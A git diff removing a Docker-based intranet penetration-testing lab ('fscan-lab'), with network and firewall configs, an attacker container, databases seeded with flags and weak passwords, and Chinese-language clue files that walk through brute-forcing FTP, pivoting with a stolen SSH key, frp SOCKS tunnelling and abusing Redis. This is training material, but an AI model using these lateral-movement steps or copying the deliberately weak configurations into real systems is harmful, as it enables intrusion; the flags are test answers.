./docker/services/core/mssql/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-postgres: - image: postgres:latest - container_name: lab-db-postgres - hostname: db-postgres - environment: - POSTGRES_USER: postgres - POSTGRES_PASSWORD: postgres123 - POSTGRES_DB: business - networks: - core: - ipv4_address: 10.10.4.42 - volumes: - - ./docker/services/core/postgres/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-mongo: - image: mongo:latest - container_name: lab-db-mongo - hostname: db-mongo - environment: - MONGO_INITDB_ROOT_USERNAME: admin - MONGO_INITDB_ROOT_PASSWORD: mongo123 - networks: - core: - ipv4_address: 10.10.4.43 - volumes: - - ./docker/services/core/mongo/init.js:/docker-entrypoint-initdb.d/init.js:ro - restart: unless-stopped - - dc-ldap: - build: ./test-services/LDAP - container_name: lab-dc-ldap - hostname: dc-ldap - environment: - LDAP_ORGANISATION: "TargetCorp" - LDAP_DOMAIN: "target.corp" - LDAP_BASE_DN: "dc=target,dc=corp" - LDAP_ADMIN_PASSWORD: "Admin123" - networks: - core: - ipv4_address: 10.10.4.44 - restart: unless-stopped - - # ============================================ - # 后端 API(flag 验证和进度管理) - # ============================================ - lab-api: - build: ./backend - container_name: lab-api - hostname: lab-api - networks: - internet: - ipv4_address: 172.16.0.100 - ports: - - "8888:8888" - volumes: - - ./flags:/app/flags:ro - - ./backend/data:/app/data - restart: unless-stopped - - # ============================================ - # 前端 Web UI - # ============================================ - lab-web: - build: ./frontend - container_name: lab-web - hostname: lab-web - networks: - internet: - ipv4_address: 172.16.0.101 - ports: - - "3000:3000" - environment: - - VITE_API_URL=http://172.16.0.100:8888 - restart: unless-stopped - -# ============================================ -# 网络定义(5层网络架构) -# ============================================ -networks: - internet: - driver: bridge - ipam: - config: - - subnet: 172.16.0.0/24 - gateway: 172.16.0.254 - - dmz: - driver: bridge - ipam: - config: - - subnet: 10.10.1.0/24 - gateway: 10.10.1.254 - - office: - driver: bridge - internal: true # 无直接外网访问 - ipam: - config: - - subnet: 10.10.2.0/24 - gateway: 10.10.2.254 - - production: - driver: bridge - internal: true - ipam: - config: - - subnet: 10.10.3.0/24 - gateway: 10.10.3.254 - - core: - driver: bridge - internal: true - ipam: - config: - - subnet: 10.10.4.0/24 - gateway: 10.10.4.254 - -# ============================================ -# 数据卷 -# ============================================ -volumes: - mysql_data: - postgres_data: - mongo_data: - redis_data: diff --git a/fscan-lab/docker/attacker/Dockerfile b/fscan-lab/docker/attacker/Dockerfile deleted file mode 100644 index ef1475eb..00000000 --- a/fscan-lab/docker/attacker/Dockerfile +++ /dev/null @@ -1,36 +0,0 @@ -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装基本工具(分批安装避免超时) -RUN apt-get update && \ - apt-get install -y curl wget vim iputils-ping net-tools && \ - apt-get install -y openssh-client ftp rsync telnet && \ - apt-get install -y redis-tools mysql-client postgresql-client && \ - apt-get clean && rm -rf /var/lib/apt/lists/* - -# 创建工作目录 -WORKDIR /root - -# 复制 fscan 二进制(需要用户提前编译) -COPY fscan /usr/local/bin/fscan -RUN chmod +x /usr/local/bin/fscan - -# 下载并安装 frp 客户端 (v0.65.0) -RUN wget -q https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz && \ - tar -xzf frp_0.65.0_linux_amd64.tar.gz && \ - mv frp_0.65.0_linux_amd64/frpc /usr/local/bin/frpc && \ - chmod +x /usr/local/bin/frpc && \ - rm -rf frp_0.65.0_linux_amd64* - -# 创建工具目录 -RUN mkdir -p /root/tools /root/loot /root/scripts /etc/frp - -# 复制 frp 客户端配置 -COPY frpc.ini /etc/frp/frpc.ini - -# 欢迎信息 -COPY welcome.sh /root/.bashrc -RUN echo 'export PS1="\[\033[01;31m\]attacker\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# "' >> /root/.bashrc - -CMD ["/bin/bash"] diff --git a/fscan-lab/docker/attacker/frpc.ini b/fscan-lab/docker/attacker/frpc.ini deleted file mode 100644 index 3d3eff41..00000000 --- a/fscan-lab/docker/attacker/frpc.ini +++ /dev/null @@ -1,18 +0,0 @@ -# FRP 客户端配置 -# 用于通过 VPN 网关建立 SOCKS5 代理隧道 - -[common] -server_addr = 10.10.1.13 -server_port = 7000 -# 连接超时 (秒) -dial_server_timeout = 10 - -# SOCKS5 代理插件 -# 在本地 1080 端口监听,通过 frps 转发流量到 VPN 网关 -[socks5] -type = tcp -remote_port = 1080 -plugin = socks5 -# 不需要认证(内网环境) -plugin_user = -plugin_passwd = diff --git a/fscan-lab/docker/attacker/welcome.sh b/fscan-lab/docker/attacker/welcome.sh deleted file mode 100644 index 5a118ccd..00000000 --- a/fscan-lab/docker/attacker/welcome.sh +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/bash - -cat << "EOF" -╔═══════════════════════════════════════════════════════╗ -║ ║ -║ ╔═╗╔═╗╔═╗╔═╗╔╗╔ ╦ ╔═╗╔╗ ║ -║ ╠╣ ╚═╗║ ╠═╣║║║───║ ╠═╣╠╩╗ ║ -║ ╚ ╚═╝╚═╝╩ ╩╝╚╝ ╩═╝╩ ╩╚═╝ ║ -║ ║ -║ 内网渗透测试训练平台 ║ -║ Network Penetration Lab ║ -║ ║ -╚═══════════════════════════════════════════════════════╝ - -[*] 当前位置:外网 (172.16.0.2) -[*] 目标网络:10.10.0.0/16 - -[*] 任务:渗透内网,获取所有 7 个 flag - -[*] 可用工具: - - fscan (内网扫描工具) - - nmap (端口扫描) - - ssh/ftp (远程连接) - - rsync (文件同步) - - redis-cli (Redis 客户端) - - mysql (MySQL 客户端) - -[*] 提示: - 1. 从扫描 DMZ 区开始 (10.10.1.0/24) - 2. 寻找弱密码和配置错误 - 3. 利用获取的凭证进行横向移动 - 4. 阅读 /root/docs/ 中的文档获取帮助 - -[*] 第一个命令: - fscan -h 10.10.1.0/24 - -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ - -EOF - -export PS1="\[\033[01;31m\]attacker\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# " diff --git a/fscan-lab/docker/firewall/Dockerfile b/fscan-lab/docker/firewall/Dockerfile deleted file mode 100644 index c9829e57..00000000 --- a/fscan-lab/docker/firewall/Dockerfile +++ /dev/null @@ -1,12 +0,0 @@ -FROM alpine:latest - -RUN apk add --no-cache \ - iptables \ - ip6tables \ - bash \ - iproute2 - -COPY firewall.sh /firewall.sh -RUN chmod +x /firewall.sh - -CMD ["/firewall.sh"] diff --git a/fscan-lab/docker/firewall/firewall.sh b/fscan-lab/docker/firewall/firewall.sh deleted file mode 100644 index a7efa009..00000000 --- a/fscan-lab/docker/firewall/firewall.sh +++ /dev/null @@ -1,116 +0,0 @@ -#!/bin/bash - -set -e - -echo "[*] Starting firewall configuration..." - -# 启用 IP 转发 (如果Docker已设置则跳过) -if echo 1 > /proc/sys/net/ipv4/ip_forward 2>/dev/null; then - echo "[+] IP forwarding enabled" -else - echo "[!] IP forwarding already enabled by Docker" -fi - -# 清空所有规则 -iptables -F -iptables -X -iptables -t nat -F -iptables -t nat -X -echo "[+] Cleared existing rules" - -# 默认策略:FORWARD 拒绝,INPUT/OUTPUT 允许 -iptables -P FORWARD DROP -iptables -P INPUT ACCEPT -iptables -P OUTPUT ACCEPT -echo "[+] Set default policies" - -# ============================================ -# 网络定义 -# ============================================ -INTERNET="172.16.0.0/24" -DMZ="10.10.1.0/24" -OFFICE="10.10.2.0/24" -PRODUCTION="10.10.3.0/24" -CORE="10.10.4.0/24" - -VPN_GATEWAY="10.10.1.13" # VPN 网关(双网卡) - -# ============================================ -# 规则 1:外网 -> DMZ(允许) -# ============================================ -iptables -A FORWARD -s $INTERNET -d $DMZ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -iptables -A FORWARD -s $DMZ -d $INTERNET -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 1: Internet -> DMZ allowed" - -# ============================================ -# 规则 2:外网 -> 内网(拒绝) -# ============================================ -iptables -A FORWARD -s $INTERNET -d $OFFICE -j DROP -iptables -A FORWARD -s $INTERNET -d $PRODUCTION -j DROP -iptables -A FORWARD -s $INTERNET -d $CORE -j DROP -echo "[+] Rule 2: Internet -> Internal networks blocked" - -# ============================================ -# 规则 3:DMZ -> 办公网(只允许 VPN 网关) -# ============================================ -# VPN 网关本身有两个网卡,自动有路由,这里允许数据包转发 -iptables -A FORWARD -s $DMZ -d $OFFICE -j ACCEPT -iptables -A FORWARD -s $OFFICE -d $DMZ -j ACCEPT -echo "[+] Rule 3: DMZ <-> Office (via VPN gateway)" - -# ============================================ -# 规则 4:办公网 -> 生产网(允许,但限制) -# ============================================ -# 只允许特定端口(SSH, Redis, RabbitMQ, ActiveMQ, ES) -iptables -A FORWARD -s $OFFICE -d $PRODUCTION -p tcp -m multiport --dports 22,6379,5672,15672,61613,61614,9200,8080 -j ACCEPT -iptables -A FORWARD -s $PRODUCTION -d $OFFICE -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 4: Office -> Production (limited ports)" - -# ============================================ -# 规则 5:生产网 -> 核心网(允许) -# ============================================ -iptables -A FORWARD -s $PRODUCTION -d $CORE -j ACCEPT -iptables -A FORWARD -s $CORE -d $PRODUCTION -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 5: Production <-> Core allowed" - -# ============================================ -# 规则 6:办公网 -> 核心网(拒绝,必须通过生产网) -# ============================================ -iptables -A FORWARD -s $OFFICE -d $CORE -j DROP -echo "[+] Rule 6: Office -> Core blocked (must go through Production)" - -# ============================================ -# 规则 7:允许同网段内部通信 -# ============================================ -iptables -A FORWARD -s $DMZ -d $DMZ -j ACCEPT -iptables -A FORWARD -s $OFFICE -d $OFFICE -j ACCEPT -iptables -A FORWARD -s $PRODUCTION -d $PRODUCTION -j ACCEPT -iptables -A FORWARD -s $CORE -d $CORE -j ACCEPT -echo "[+] Rule 7: Intra-network communication allowed" - -# ============================================ -# 日志规则(调试用) -# ============================================ -# iptables -A FORWARD -j LOG --log-prefix "FW-DROP: " --log-level 4 - -# ============================================ -# 显示规则 -# ============================================ -echo "" -echo "============================================" -echo "Firewall Rules Summary:" -echo "============================================" -iptables -L FORWARD -n -v --line-numbers - -echo "" -echo "[*] Firewall configured successfully!" -echo "[*] Network topology:" -echo " Internet (172.16.0.0/24)" -echo " └─> DMZ (10.10.1.0/24)" -echo " └─> Office (10.10.2.0/24)" -echo " └─> Production (10.10.3.0/24)" -echo " └─> Core (10.10.4.0/24)" -echo "" - -# 保持容器运行 -tail -f /dev/null diff --git a/fscan-lab/docker/services/core/mongo/init.js b/fscan-lab/docker/services/core/mongo/init.js deleted file mode 100644 index 2c094a7e..00000000 --- a/fscan-lab/docker/services/core/mongo/init.js +++ /dev/null @@ -1,21 +0,0 @@ -db = db.getSiblingDB('admin'); - -db.createCollection('admin_secrets'); - -db.admin_secrets.insert({ - type: 'flag', - value: 'FSCAN_LAB{y0u_pwn3d_th3_n3tw0rk}', - description: 'Final Flag - Congratulations! You have successfully penetrated the entire network!', - achievement: 'Network Penetration Master', - timestamp: new Date() -}); - -db.admin_secrets.insert({ - type: 'credentials', - service: 'root_access', - username: 'root', - password: 'RootP@ss2024', - notes: 'Full system access - game over!' -}); - -print('MongoDB initialized with final flag'); diff --git a/fscan-lab/docker/services/core/mssql/init.sql b/fscan-lab/docker/services/core/mssql/init.sql deleted file mode 100644 index 17dd1af0..00000000 --- a/fscan-lab/docker/services/core/mssql/init.sql +++ /dev/null @@ -1,36 +0,0 @@ --- MSSQL 初始化脚本 --- 创建 secrets 表并插入 flag10 - -USE master; -GO - -CREATE TABLE dbo.secrets ( - id INT IDENTITY(1,1) PRIMARY KEY, - key_name NVARCHAR(255) NOT NULL, - key_value NVARCHAR(MAX) NOT NULL, - created_at DATETIME DEFAULT GETDATE() -); -GO - --- 插入 flag10 -INSERT INTO dbo.secrets (key_name, key_value) VALUES - ('flag10', 'FSCAN_LAB{mssql_s4_4cc0unt_pwn3d}'), - ('db_version', 'Microsoft SQL Server 2022'), - ('admin_account', 'sa'), - ('production_db', '10.10.3.31'); -GO - --- 创建业务数据表 -CREATE TABLE dbo.employees ( - id INT IDENTITY(1,1) PRIMARY KEY, - name NVARCHAR(100), - position NVARCHAR(100), - salary DECIMAL(10,2) -); -GO - -INSERT INTO dbo.employees (name, position, salary) VALUES - ('David', 'Manager', 95000.00), - ('Eve', 'Developer', 80000.00), - ('Frank', 'Designer', 75000.00); -GO diff --git a/fscan-lab/docker/services/core/mysql/init.sql b/fscan-lab/docker/services/core/mysql/init.sql deleted file mode 100644 index 6182187a..00000000 --- a/fscan-lab/docker/services/core/mysql/init.sql +++ /dev/null @@ -1,25 +0,0 @@ -CREATE DATABASE IF NOT EXISTS secrets; -USE secrets; - -CREATE TABLE IF NOT EXISTS flags ( - id INT PRIMARY KEY, - flag VARCHAR(255) NOT NULL, - description VARCHAR(255) -); - -CREATE TABLE IF NOT EXISTS credentials ( - id INT PRIMARY KEY AUTO_INCREMENT, - service VARCHAR(50), - username VARCHAR(100), - password VARCHAR(100), - notes TEXT -); - -INSERT INTO flags (id, flag, description) VALUES -(1, 'FSCAN_LAB{mysql_d4t4b4s3_pwn3d}', 'Flag 6 - MySQL Database'), -(2, 'Hint: LDAP admin credentials are admin:LdapAdmin2024', 'LDAP Hint'); - -INSERT INTO credentials (service, username, password, notes) VALUES -('ldap', 'admin', 'LdapAdmin2024', 'Domain controller admin account'), -('mongodb', 'admin', 'mongo123', 'MongoDB root password'), -('backup', 'backup_user', 'Backup@2024', 'Backup system credentials'); diff --git a/fscan-lab/docker/services/core/postgres/init.sql b/fscan-lab/docker/services/core/postgres/init.sql deleted file mode 100644 index 6e39e818..00000000 --- a/fscan-lab/docker/services/core/postgres/init.sql +++ /dev/null @@ -1,29 +0,0 @@ --- PostgreSQL 初始化脚本 --- 创建 secrets 表并插入 flag9 - -CREATE TABLE IF NOT EXISTS secrets ( - id SERIAL PRIMARY KEY, - key VARCHAR(255) NOT NULL, - value TEXT NOT NULL, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- 插入 flag9 -INSERT INTO secrets (key, value) VALUES - ('flag9', 'FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d}'), - ('db_type', 'PostgreSQL 15'), - ('admin_email', 'dba@target.corp'), - ('backup_server', '10.10.2.22'); - --- 创建业务数据表 -CREATE TABLE IF NOT EXISTS users ( - id SERIAL PRIMARY KEY, - username VARCHAR(100), - email VARCHAR(255), - department VARCHAR(100) -); - -INSERT INTO users (username, email, department) VALUES - ('alice', 'alice@target.corp', 'Engineering'), - ('bob', 'bob@target.corp', 'Sales'), - ('charlie', 'charlie@target.corp', 'HR'); diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys b/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys deleted file mode 100644 index 28697ac9..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmc1l6L2DsowOUp+IxkDhtHgSAGYXretgoQNcS6S4uZLx51Tw7uzXWoSH0RjY/VJaT6PZ/W3g8tYcTsUegq/Fa2yCgLLQB9l1tJ1SoT/UvbdIolynMTY02vVVLEO9mMxkS3TKIXdrwIcuw6J+4ON5SbZ2WitPwD3fiT0vDlFNlnw5SDHN/8mJgIPOU4WXSEZBgovG6ML1rcfd/MCk8pEi22TMS3xi9Q99wjAGRrNHyYICpeUokP13Q/f881en4aA1Wc88F+GXi/Ql+ySLbDgGl1WQhyCj9uk0JiFPzg6rccdDLaIunTT9beQF1WyXCPNZWMO8XddHfr7sRkzgvSsx office_vpn_key diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini b/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini deleted file mode 100644 index 1705bb91..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini +++ /dev/null @@ -1,23 +0,0 @@ -# FRP 服务端配置 -# VPN 网关上运行,用于建立代理隧道到办公网 - -[common] -# 监听端口(客户端连接端口) -bind_port = 7000 - -# Dashboard 配置(可选,用于查看连接状态) -dashboard_port = 7500 -dashboard_user = admin -dashboard_pwd = fscan_lab_frp - -# 日志配置 -log_file = /var/log/frps.log -log_level = info -log_max_days = 3 - -# 性能配置 -max_pool_count = 50 -max_ports_per_client = 0 - -# 认证(这里不启用,因为是内网测试环境) -# token = your_secret_token diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh b/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh deleted file mode 100644 index adc81656..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/bash -# FRP 服务端启动脚本 -# 在后台启动 frps 服务 - -echo "[+] 启动 FRP 服务端..." -nohup /usr/local/bin/frps -c /etc/frp/frps.ini > /var/log/frps.log 2>&1 & - -if [ $? -eq 0 ]; then - echo "[+] FRP 服务端已启动" - echo "[+] 监听端口: 7000" - echo "[+] Dashboard: http://10.10.1.13:7500 (admin/fscan_lab_frp)" - echo "[+] 日志文件: /var/log/frps.log" -else - echo "[-] FRP 服务端启动失败" - exit 1 -fi diff --git a/fscan-lab/docker/services/office/pc-ssh/.bash_history b/fscan-lab/docker/services/office/pc-ssh/.bash_history deleted file mode 100644 index cdb30381..00000000 --- a/fscan-lab/docker/services/office/pc-ssh/.bash_history +++ /dev/null @@ -1,8 +0,0 @@ -ls -la -cd /var/www -cat config.php -redis-cli -h 10.10.3.31 -a redis123 -redis-cli -h 10.10.3.31 -a redis123 ping -ssh admin@10.10.3.30 -mysql -h 10.10.4.40 -u root -pPassword -exit diff --git a/fscan-lab/docker/services/production/elasticsearch/init-es.sh b/fscan-lab/docker/services/production/elasticsearch/init-es.sh deleted file mode 100644 index 00d0044f..00000000 --- a/fscan-lab/docker/services/production/elasticsearch/init-es.sh +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/bash -# Elasticsearch 初始化脚本 -# 等待 ES 启动后插入 flag8 数据 - -sleep 30 # 等待 Elasticsearch 完全启动 - -# 创建包含 flag8 的索引 -curl -X PUT "localhost:9200/secrets" -H 'Content-Type: application/json' -d' -{ - "settings": { - "number_of_shards": 1, - "number_of_replicas": 0 - } -}' - -# 插入 flag8 文档 -curl -X POST "localhost:9200/secrets/_doc/1" -H 'Content-Type: application/json' -d' -{ - "flag": "FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d}", - "description": "Elasticsearch Unauthorized Access Flag", - "network": "production", - "service": "elasticsearch", - "timestamp": "2024-12-17T00:00:00Z" -}' - -# 插入其他敏感数据 -curl -X POST "localhost:9200/secrets/_doc/2" -H 'Content-Type: application/json' -d' -{ - "db_host": "10.10.4.40", - "db_type": "MySQL", - "db_user": "root", - "db_hint": "Check backup server for password" -}' - -curl -X POST "localhost:9200/secrets/_doc/3" -H 'Content-Type: application/json' -d' -{ - "redis_host": "10.10.3.31", - "redis_password": "redis123", - "cache_type": "production" -}' - -echo "Elasticsearch initialized with flag8" diff --git a/fscan-lab/docker/services/production/redis/init.sh b/fscan-lab/docker/services/production/redis/init.sh deleted file mode 100644 index 8328934e..00000000 --- a/fscan-lab/docker/services/production/redis/init.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash -# 这个脚本在 Redis 启动后设置 flag -sleep 5 -redis-cli -a redis123 SET flag5 "FSCAN_LAB{r3d1s_un4uth0r1z3d_4cc3ss}" -redis-cli -a redis123 SET hint "Check /root/.ssh for SSH keys to core network" -echo "Redis flag initialized" diff --git a/fscan-lab/flags/clues/dmz_clue.txt b/fscan-lab/flags/clues/dmz_clue.txt deleted file mode 100644 index 02b91f41..00000000 --- a/fscan-lab/flags/clues/dmz_clue.txt +++ /dev/null @@ -1,30 +0,0 @@ -==================================== - 下一步行动指引 -==================================== - -你已经成功进入 DMZ 区的 FTP 服务器! - -发现的关键文件: - 1. SSH 私钥:/home/admin/.ssh/office_key - 2. 该私钥可以访问 VPN 网关 (10.10.1.13) - -VPN 网关是双网卡主机: - - DMZ 侧:10.10.1.13 - - 办公网侧:10.10.2.2 - -攻击路径: - 1. 下载 SSH 私钥 - 2. 使用私钥连接 VPN 网关 - 3. 从 VPN 网关扫描办公网 - -命令示例: - # 下载私钥(已在当前目录) - chmod 600 office_key - - # 连接 VPN 网关 - ssh -i office_key root@10.10.1.13 - - # 扫描办公网 - fscan -h 10.10.2.0/24 - -加油! diff --git a/fscan-lab/flags/clues/printer_info.txt b/fscan-lab/flags/clues/printer_info.txt deleted file mode 100644 index 6282fda4..00000000 --- a/fscan-lab/flags/clues/printer_info.txt +++ /dev/null @@ -1,17 +0,0 @@ -==================================== - 办公网打印机配置信息 -==================================== - -设备型号: HP LaserJet Pro M404n -IP地址: 10.10.2.23 -SMB共享: 已启用 - -管理员账户: -- 用户名: printer -- 密码: [已保存在密码管理器] - -共享文件夹: -- print$ (打印机驱动) -- backup (打印任务备份) - -注意: 为了方便管理,使用了简单密码 diff --git a/fscan-lab/flags/clues/prod_hosts.txt b/fscan-lab/flags/clues/prod_hosts.txt deleted file mode 100644 index 1a7a5c7f..00000000 --- a/fscan-lab/flags/clues/prod_hosts.txt +++ /dev/null @@ -1,27 +0,0 @@ -==================================== - 生产网主机清单 -==================================== - -网段:10.10.3.0/24 - -已知主机: - 10.10.3.30 - app-web (Tomcat 应用服务器) - 10.10.3.31 - cache-redis (Redis 缓存,密码:redis123) - 10.10.3.32 - mq-rabbit (RabbitMQ) - 10.10.3.33 - mq-activemq (ActiveMQ) - 10.10.3.34 - search-es (Elasticsearch) - -重点目标: - ★ Redis (10.10.3.31) - 已知密码,可能存在写入漏洞 - -防火墙策略: - - 办公网 -> 生产网:只允许特定端口 - - 生产网 -> 核心网:全通(一旦进入生产网,可以访问核心网!) - -核心网预览: - 10.10.4.0/24 - 数据库集群和域控 - -策略建议: - 1. 通过 Redis 获取立足点 - 2. 横向移动到其他生产主机 - 3. 扫描核心网寻找数据库 diff --git a/fscan-lab/flags/clues/prod_redis.conf b/fscan-lab/flags/clues/prod_redis.conf deleted file mode 100644 index 3614135b..00000000 --- a/fscan-lab/flags/clues/prod_redis.conf +++ /dev/null @@ -1,18 +0,0 @@ -# Redis 配置文件(生产网备份) - -bind 0.0.0.0 -protected-mode no -port 6379 -requirepass redis123 - -# 注意:此配置存在安全风险 -# Redis 密码:redis123 -# 主机:10.10.3.31 - -# 可能的攻击向量: -# 1. 使用密码认证后写入 SSH 公钥 -# 2. 利用 Redis 执行 Lua 脚本 -# 3. 配置文件写入攻击 - -# 从办公网连接: -# redis-cli -h 10.10.3.31 -a redis123 diff --git a/fscan-lab/flags/flag1.txt b/fscan-lab/flags/flag1.txt deleted file mode 100644 index e466d66a..00000000 --- a/fscan-lab/flags/flag1.txt +++ /dev/null @@ -1,15 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 1 - DMZ 侦察 ║ -╚═══════════════════════════════════════════════════════╝ - -恭喜!你成功发现了 DMZ 区的 Web 服务器! - -Flag: FSCAN_LAB{w3b_f1ng3rpr1nt_d1sc0v3ry} - -下一步提示: -- DMZ 区还有其他服务(FTP、SMTP、SSH) -- FTP 服务器可能有弱密码 -- 尝试爆破 FTP: admin/123456 - -fscan 命令示例: - fscan -h 10.10.1.12 -m ftp -user admin -pwd 123456 diff --git a/fscan-lab/flags/flag10.txt b/fscan-lab/flags/flag10.txt deleted file mode 100644 index 269328a2..00000000 --- a/fscan-lab/flags/flag10.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - MSSQL 数据库攻击成功 -============================================ - -恭喜!你成功攻破了 MSSQL 数据库。 - -Flag: FSCAN_LAB{mssql_s4_4cc0unt_pwn3d} - -从 master.dbo.secrets 表中获取了核心数据。 diff --git a/fscan-lab/flags/flag11.txt b/fscan-lab/flags/flag11.txt deleted file mode 100644 index 2958bc1d..00000000 --- a/fscan-lab/flags/flag11.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - VNC 远程桌面入侵成功 -============================================ - -恭喜!你成功通过 VNC 弱密码获取了办公网主机的远程控制权。 - -Flag: FSCAN_LAB{vnc_r3m0t3_d3skt0p_pwn3d} - -VNC 密码管理不当是常见的安全隐患... diff --git a/fscan-lab/flags/flag12.txt b/fscan-lab/flags/flag12.txt deleted file mode 100644 index d9fe55e6..00000000 --- a/fscan-lab/flags/flag12.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - 老旧 Telnet 服务入侵成功 -============================================ - -恭喜!你成功利用古老的 Telnet 服务获取了访问权限。 - -Flag: FSCAN_LAB{t3ln3t_l3g4cy_syst3m} - -这台主机运行着过时的 Telnet 服务,属于遗留系统... diff --git a/fscan-lab/flags/flag13.txt b/fscan-lab/flags/flag13.txt deleted file mode 100644 index acce27d7..00000000 --- a/fscan-lab/flags/flag13.txt +++ /dev/null @@ -1 +0,0 @@ -FSCAN_LAB{smb_pr1nt3r_sh4r3_pwn3d} diff --git a/fscan-lab/flags/flag2.txt b/fscan-lab/flags/flag2.txt deleted file mode 100644 index d5e0a474..00000000 --- a/fscan-lab/flags/flag2.txt +++ /dev/null @@ -1,20 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 2 - FTP 突破 ║ -╚═══════════════════════════════════════════════════════╝ - -干得好!你通过 FTP 弱密码成功进入了 DMZ 区! - -Flag: FSCAN_LAB{ftp_w34k_p4ssw0rd_pwn} - -下一步提示: -- 查看当前目录的其他文件 -- 注意 .ssh 目录中的私钥 -- VPN 网关 (10.10.1.13) 是进入办公网的跳板 - -关键文件: - /home/admin/.ssh/office_key (办公网 SSH 私钥) - /home/admin/next_step.txt (下一步指引) - -连接 VPN 网关: - chmod 600 office_key - ssh -i office_key root@10.10.1.13 diff --git a/fscan-lab/flags/flag3.txt b/fscan-lab/flags/flag3.txt deleted file mode 100644 index c6b578ac..00000000 --- a/fscan-lab/flags/flag3.txt +++ /dev/null @@ -1,19 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 3 - VPN 网关 ║ -╚═══════════════════════════════════════════════════════╝ - -出色!你已经通过 VPN 网关进入办公网! - -Flag: FSCAN_LAB{vpn_g4t3w4y_br34ch3d} - -当前网络: - - DMZ 接口: 10.10.1.13 - - 办公网接口: 10.10.2.2 - -下一步提示: -- 从 VPN 网关扫描办公网 (10.10.2.0/24) -- 重点关注备份服务器 (Rsync 873 端口) -- Rsync 可能配置为未授权访问 - -扫描命令: - fscan -h 10.10.2.0/24 -p 22,873,5900,23,161 diff --git a/fscan-lab/flags/flag4.txt b/fscan-lab/flags/flag4.txt deleted file mode 100644 index 2636903f..00000000 --- a/fscan-lab/flags/flag4.txt +++ /dev/null @@ -1,20 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 4 - 办公网备份服务器 ║ -╚═══════════════════════════════════════════════════════╝ - -太棒了!你找到了备份服务器的敏感数据! - -Flag: FSCAN_LAB{rsync_b4ckup_l34k} - -备份文件内容: - ✓ prod_redis.conf - 生产网 Redis 配置 - ✓ prod_hosts.txt - 生产网主机列表 - ✓ ssh_keys/prod_jump_key - 生产网跳板私钥 - -下一步提示: -- 使用 Redis 密码连接生产网 Redis (10.10.3.31) -- Redis 可能启用了密码保护但有漏洞 -- 利用 Redis 写入 SSH 公钥进行横向移动 - -获取备份文件: - rsync -av rsync://10.10.2.22/backup/credentials/ ./ diff --git a/fscan-lab/flags/flag5.txt b/fscan-lab/flags/flag5.txt deleted file mode 100644 index 8bb16c1f..00000000 --- a/fscan-lab/flags/flag5.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 5 存储在 Redis 中,使用命令获取: -redis-cli -h 10.10.3.31 -a redis123 GET flag5 diff --git a/fscan-lab/flags/flag6.txt b/fscan-lab/flags/flag6.txt deleted file mode 100644 index b0c2eb93..00000000 --- a/fscan-lab/flags/flag6.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 6 存储在 MySQL 中,使用命令获取: -mysql -h 10.10.4.40 -u root -pPassword -e "SELECT flag FROM secrets.flags WHERE id=1;" diff --git a/fscan-lab/flags/flag7.txt b/fscan-lab/flags/flag7.txt deleted file mode 100644 index 8a9d49a1..00000000 --- a/fscan-lab/flags/flag7.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 7 (最终 Flag) 存储在 MongoDB 中,使用命令获取: -mongosh mongodb://admin:mongo123@10.10.4.43/admin --eval "db.admin_secrets.find({type:'flag'}).pretty()" diff --git a/fscan-lab/flags/flag8.txt b/fscan-lab/flags/flag8.txt deleted file mode 100644 index 2a0e2d5b..00000000 --- a/fscan-lab/flags/flag8.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - Elasticsearch 情报收集成功 -============================================ - -恭喜!你成功利用 Elasticsearch 未授权访问漏洞获取了生产网的敏感信息。 - -Flag: FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d} - -提示:在生产环境的索引中发现了数据库凭证信息... diff --git a/fscan-lab/flags/flag9.txt b/fscan-lab/flags/flag9.txt deleted file mode 100644 index 209775a3..00000000 --- a/fscan-lab/flags/flag9.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - PostgreSQL 数据库渗透成功 -============================================ - -恭喜!你成功爆破了 PostgreSQL 数据库密码。 - -Flag: FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d} - -从 business.secrets 表中获取了企业核心业务数据。 diff --git a/fscan-lab/flags/office_key b/fscan-lab/flags/office_key 